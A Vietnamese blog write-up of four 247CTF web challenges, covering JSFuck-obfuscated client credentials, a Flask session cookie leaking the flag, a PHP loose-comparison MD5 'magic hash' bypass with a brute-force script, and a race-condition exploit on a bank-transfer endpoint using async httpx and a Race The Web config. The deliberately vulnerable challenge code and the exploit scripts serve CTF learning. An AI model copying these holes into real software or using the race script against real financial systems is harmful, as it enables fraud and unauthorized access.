Logo
Writeup Web 247CTF

Writeup Web 247CTF

February 18, 2023
9 min read
Table of Contents
index

247CTF là một nền tảng học tập Capture The Flag (CTF), chứa một số thử thách về các mảng như web, crypto, pwn, reverse, …

Dưới đây là một số thử thách thuộc mảng web đến từ trang này.

TRUSTED CLIENT

Developers don’t always have time to setup a backend service when prototyping code. Storing credentials on the client side should be fine as long as it’s obfuscated right?

Truy cập trang web chúng ta thấy được 1 form login

Check source code của trang. Ta thấy một đoạn js khá thú vị gồm vài kí tự lặp đi lặp lại nhìn rất lạ.

Nếu bạn chưa biết thì đây là jsfuck. Cái tên nghe rất là wtf nhỉ =)))

Các tool decode jsfuck này khá nhiều. Ở đây mình dùng tool này nhớ sửa version sang v0.4.0 nhé

SECURED SESSION

If you can guess our random secret key, we will tell you the flag securely stored in your session.

Source code:

import os
from flask import Flask, request, session
from flag import flag
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(24)
def secret_key_to_int(s):
try:
secret_key = int(s)
except ValueError:
secret_key = 0
return secret_key
@app.route("/flag")
def index():
secret_key = secret_key_to_int(request.args['secret_key']) if 'secret_key' in request.args else None
session['flag'] = flag
if secret_key == app.config['SECRET_KEY']:
return session['flag']
else:
return "Incorrect secret key!"
@app.route('/')
def source():
return "
%s
" % open(__file__).read()
if __name__ == "__main__":
app.run()

Truy cập vào /flag thì server sẽ thực hiện lần lượt như sau:

  • Kiểm tra xem secret_key có trong session hay không.

    • Nếu có thì truyền giá trị của secret_key vào hàm secret_key_to_int. Hàm này sẽ chuyển giá trị của secret_key sang int nếu có ValueError thì sẽ set giá trị bằng 0

    • Nếu không thì return None

  • Set giá trị của flag trong session bằng chính flag thật

  • Kiểm tra xem secret_key thu được ở trên xem có đúng bằng với secret_key trong app config không. Như vậy dù secret_key có đúng hay sai thì khi truy cập /flag thì chúng ta đều có được flag thật lưu trong session cookie

Cookie mình thu được:

Cookie này được chia làm 3 phần ngăn cách nhau bởi dấu . Phần đầu được encode base64. Decode phần này ta thu được

Yap. Lại là base64. Decode chuỗi này chúng ta có được flag

COMPARE THE PAIR

Can you identify a way to bypass our login logic? MD5 is supposed to be a one-way function right? Source code sẽ xuất hiện ngay khi truy cập site

<?php
require_once('flag.php');
$password_hash = "0e902564435691274142490923013038";
$salt = "f789bbc328a3d1a3";
if(isset($_GET['password']) && md5($salt . $_GET['password']) == $password_hash){
echo $flag;
}
echo highlight_file(__FILE__, true);
?>

Trong php có 2 kiểu so sánh:

  • ==Loose comparisons

  • ===Strict comparisons Xem 2 bảng dưới đây để hiểu thêm:

Ở đây php sẽ coi những chuỗi bắt đầu bằng 0e Ví dụ như 0e123 thành 0 mũ 123 tương đương với 0

-> chỉ cần tìm 1 giá trị password nào đó sao cho giá trị sau khi hash md5 của chuỗi f789bbc328a3d1a3xxxxxxxx có 2 kí tự đầu tiên là 0e và các kí tự sau là số thì sẽ bypass được logic check này. Dễ hơn so với việc phải tìm đúng password đúng không =))))))

Lý do ở đây lại là chuỗi f789bbc328a3d1a3xxxxxxxx vì ở source code có md5($salt . $_GET['password']) == $password_hash) trong đó $salt . $_GET['password'] tương tự như salt + password trong python vậy, nó sẽ ghép 2 chuỗi này lại với nhau.

md5 là hàm hash 1 chiều không thể reverse được nên để tìm được chuỗi xxxxxx này chúng ta có thể sử dụng đoạn code sau để mò (chậm nhưng vẫn nhanh hơn tìm ra chính xác password)

from hashlib import md5
import time
start_time = time.time()
salt = "f789bbc328a3d1a3"
for i in range(100000000000000):
tmp = salt + str(i)
tmp_hash = md5(tmp.encode()).hexdigest()
if tmp_hash[0:2] == "0e" and tmp_hash[2::].isdigit():
print(i)
print(tmp)
print(tmp_hash)
print("Run time: ", time.time() - start_time)
break

Chạy đoạn code trên thu được giá trị password cần tìm chính là i

Truy cập vào /?password=<i> ta có được flag:

ACID FLAG BANK

You can purchase a flag directly from the ACID flag bank, however there aren’t enough funds in the entire bank to complete that transaction! Can you identify any vulnerabilities within the ACID flag bank which enable you to increase the total available funds?

Source code:

<?php
require_once('flag.php');
class ChallDB
{
public function __construct($flag)
{
$this->pdo = new SQLite3('/tmp/users.db');
$this->flag = $flag;
}
public function updateFunds($id, $funds)
{
$stmt = $this->pdo->prepare('update users set funds = :funds where id = :id');
$stmt->bindValue(':id', $id, SQLITE3_INTEGER);
$stmt->bindValue(':funds', $funds, SQLITE3_INTEGER);
return $stmt->execute();
}
public function resetFunds()
{
$this->updateFunds(1, 247);
$this->updateFunds(2, 0);
return "Funds updated!";
}
public function getFunds($id)
{
$stmt = $this->pdo->prepare('select funds from users where id = :id');
$stmt->bindValue(':id', $id, SQLITE3_INTEGER);
$result = $stmt->execute();
return $result->fetchArray(SQLITE3_ASSOC)['funds'];
}
public function validUser($id)
{
$stmt = $this->pdo->prepare('select count(*) as valid from users where id = :id');
$stmt->bindValue(':id', $id, SQLITE3_INTEGER);
$result = $stmt->execute();
$row = $result->fetchArray(SQLITE3_ASSOC);
return $row['valid'] == true;
}
public function dumpUsers()
{
$result = $this->pdo->query("select id, funds from users");
echo "<pre>";
echo "ID FUNDS\n";
while ($row = $result->fetchArray(SQLITE3_ASSOC)) {
echo "{$row['id']} {$row['funds']}\n";
}
echo "</pre>";
}
public function buyFlag($id)
{
if ($this->validUser($id) && $this->getFunds($id) > 247) {
return $this->flag;
} else {
return "Insufficient funds!";
}
}
public function clean($x)
{
return round((int)trim($x));
}
}
$db = new challDB($flag);
if (isset($_GET['dump'])) {
$db->dumpUsers();
} elseif (isset($_GET['reset'])) {
echo $db->resetFunds();
} elseif (isset($_GET['flag'], $_GET['from'])) {
$from = $db->clean($_GET['from']);
echo $db->buyFlag($from);
} elseif (isset($_GET['to'],$_GET['from'],$_GET['amount'])) {
$to = $db->clean($_GET['to']);
$from = $db->clean($_GET['from']);
$amount = $db->clean($_GET['amount']);
if ($to !== $from && $amount > 0 && $amount <= 247 && $db->validUser($to) && $db->validUser($from) && $db->getFunds($from) >= $amount) {
$db->updateFunds($from, $db->getFunds($from) - $amount);
$db->updateFunds($to, $db->getFunds($to) + $amount);
echo "Funds transferred!";
} else {
echo "Invalid transfer request!";
}
} else {
echo highlight_file(__FILE__, true);
}

Cùng phân tích source nhé.

Đầu tiên là class ChallDB class này cung cấp các method để quản lý database của chall này.

Các method trong class:

  • updateFunds($id, $funds): Update số tiền của user có id được cung cấp thành số tiền được cung cấp

  • resetFunds(): Reset số tiền của toàn bộ user về mặc định

  • getFunds($id): Lấy số tiền của user có id được cấp

  • validUser($id): Kiểm tra xem có user với id được cấp có tồn tại hay không

  • dumpUsers(): Hiển trị ra id và số tiền tương ứng của các user

  • buyFlag($id): Kiểm tra xem user với id được cấp có đủ tiền hay không. Nếu có trả về flag, nếu không trả về “Insufficient funds!”

  • clean($x): Loại bỏ khoảng trắng của chuỗi x và chuyển thành int Cách sever hoạt động:

  • Nếu GET request có tham số dump -> dumpUsers()

  • Nếu GET request có tham số reset -> resetFunds()

  • Nếu GET request có tham số flagfrom -> buyFlag($id) với id được lấy từ tham số from

  • Nếu GET request có tham số to, fromamount -> chuyển số tiền có giá trị bằng với amount từ user có id lấy từ tham số to cho user có id từ tham số from

Và mô tả của chall có nói Can you identify any vulnerabilities within the ACID flag bank which enable you to increase the total available funds? 247CTF cũng cung cấp cho chúng ta một video rất hữu dụng về một lỗ hổng gọi là race condition

Về chi tiết các bạn có thể xem video để hiểu rõ hơn. Ở đây mình sẽ tóm gọn lại cho sát với chal này. Mục đích của chúng ta là đủ tiền để mua flag có giá >247. Có 2 user được cấp sẵn với 1 user có đúng 247 trong tài khoản còn user còn lại không có gì. Vậy để tăng được số tiền cho 1 trong 2 user chúng ta có thể lợi dụng khoảng thời gian lúc server đang thực hiện lệnh chuyển tiền lần 1 để yêu cầu chuyển thêm một lần nữa.

Ví dụ nếu thực hiện chuyển từ user 1 sang 2 với số tiền 200, thì lần tiếp theo sẽ không thể chuyển quá số tiền là 47 từ 1 sang 2 được nữa NẾU THỰC HIỆN TUẦN TỰ. Nhưng khi mình yêu cầu chuyển thêm số tiền 200 trong lúc server chưa trừ tiền của user 1 thì sao?. Yap! chúng ta sẽ làm số tiền của user 2 tăng lên vượt quá con số 247. Đây chính là race condition.

Vậy thực hiện nó như thế nào. Tra google 1 lúc thì mình tìm ra được 2 cách.

Cách 1: sử dụng 1 đoạn code python mà mình lấy được lại hacktricks ở đây

import asyncio
import httpx
async def use_code(client):
resp = await client.get('https://<your-url>.247ctf.com/?to=2&from=1&amount=200')
return resp.text
async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0)
asyncio.run(main())

Chạy đoạn code trên, reset fund vài lần cho tới khi có được output dạng

Terminal window
Funds transferred!
Invalid transfer request!
Funds transferred!
Invalid transfer request!
Invalid transfer request!
Invalid transfer request!
Invalid transfer request!
Funds transferred!
Invalid transfer request!
Invalid transfer request!
Invalid transfer request!
Invalid transfer request!
Invalid transfer request!
Invalid transfer request!
Invalid transfer request!
Invalid transfer request!

Như các bạn đấy thông báo “Funds transferred!” xuất hiện tận 3 lần chứng tỏ mình đã thành công. Nhưng khi check fund thì thấy user 2 có mỗi 400 =))) Kệ vẫn thành công là được =))

Cách 2: Có 1 tool có tên là Race The Web (RTW) sẽ giúp chúng ta làm điều này.

Các bạn có thể đọc thêm ở github của tool. Mình chạy file bin được compile sẵn với file config.toml như sau:

count = 100
proxy = "http://127.0.0.1:8080"
[[requests]]
method = "GET"
url = "https://<your-url>.247ctf.com/?to=2&from=1&amount=200"

Cũng vẫn phải reset fund vài lần thì mình cũng có user 2 có nhiều hơn 247.

Để lấy flag chỉ cần gửi get request bằng cách truy cập https://<your-url>.247ctf.com/?flag&from=2